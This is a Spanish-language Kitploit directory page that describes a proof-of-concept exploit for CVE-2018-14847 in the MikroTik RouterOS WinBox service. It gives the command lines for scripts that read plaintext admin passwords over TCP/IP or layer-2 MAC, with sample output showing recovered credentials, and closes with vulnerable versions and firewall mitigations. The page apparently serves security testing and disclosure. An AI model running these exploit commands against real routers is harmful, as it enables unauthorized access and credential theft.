Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-14847 — Exploit de prueba de concepto para CVE-2018-14847 que permite la lectura arbitraria de archivos de contraseñas en texto plano del servicio WinBox de MikroTik RouterOS, con soporte para servidores TCP/IP y MAC de capa 2. | Kitploit
Herramientas/GitHubGitHub/jas502n/cve-2018-14847
ReconocimientoAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad de RedesPruebas de Penetración
GitHubjas502n/cve-2018-14847

CVE-2018-14847

Exploit de prueba de concepto para CVE-2018-14847 que permite la lectura arbitraria de archivos de contraseñas en texto plano del servicio WinBox de MikroTik RouterOS, con soporte para servidores TCP/IP y MAC de capa 2.

Ver Repositorio
30106hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WinboxExploit

Esta es una prueba de concepto de la vulnerabilidad crítica de WinBox (CVE-2018-14847) que permite la lectura arbitraria de archivos de contraseñas en texto plano.

Publicación del blog

https://n0p.me/winbox-bug-dissection/

Requisitos

  • Python 3+

Este script NO se ejecutará con Python 2.x o inferior.

Cómo usar

El script se utiliza de forma sencilla con argumentos simples en la línea de comandos.

WinBox (TCP/IP)

Explotar la vulnerabilidad y leer la contraseña.

root@kitploit:~
python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Ejemplo:

root@kitploit:~
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Capa 2)

Puede extraer archivos incluso si el dispositivo no tiene dirección IP.

Verificación de descubrimiento simple para dispositivos Mikrotik conectados localmente.

root@kitploit:~
python3 MACServerDiscover.py

Ejemplo:

root@kitploit:~
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Explotar la vulnerabilidad y leer la contraseña.

root@kitploit:~
python3 MACServerExploit.py <MAC-ADDRESS>

Ejemplo:

root@kitploit:~
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Versiones vulnerables

Todas las versiones de RouterOS desde 2015-05-28 hasta 2018-04-20 son vulnerables a este exploit.

Dispositivos Mikrotik que ejecutan versiones de RouterOS:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42
  • Beta: 6.29rc1 - 6.43rc3

Para más información ver: https://blog.mikrotik.com/security/winbox-vulnerability.html

Técnicas de mitigación

  • Actualizar el router a una versión de RouterOS que incluya la corrección.
  • Deshabilitar el servicio WinBox en el router.
  • Puede restringir el acceso al servicio WinBox a direcciones IP específicas con lo siguiente:
root@kitploit:~
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
  • Puede usar algunas Reglas de Filtro (ACL) para denegar el acceso externo al servicio WinBox:
root@kitploit:~
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
  • Limitar el acceso al servicio mac-winbox se puede hacer especificando las interfaces permitidas:
root@kitploit:~
/tool mac-server mac-winbox

Derechos de autor

  • Patrocinado por el CERTCC de Irán (https://certcc.ir). Todos los derechos reservados.
Descargar herramienta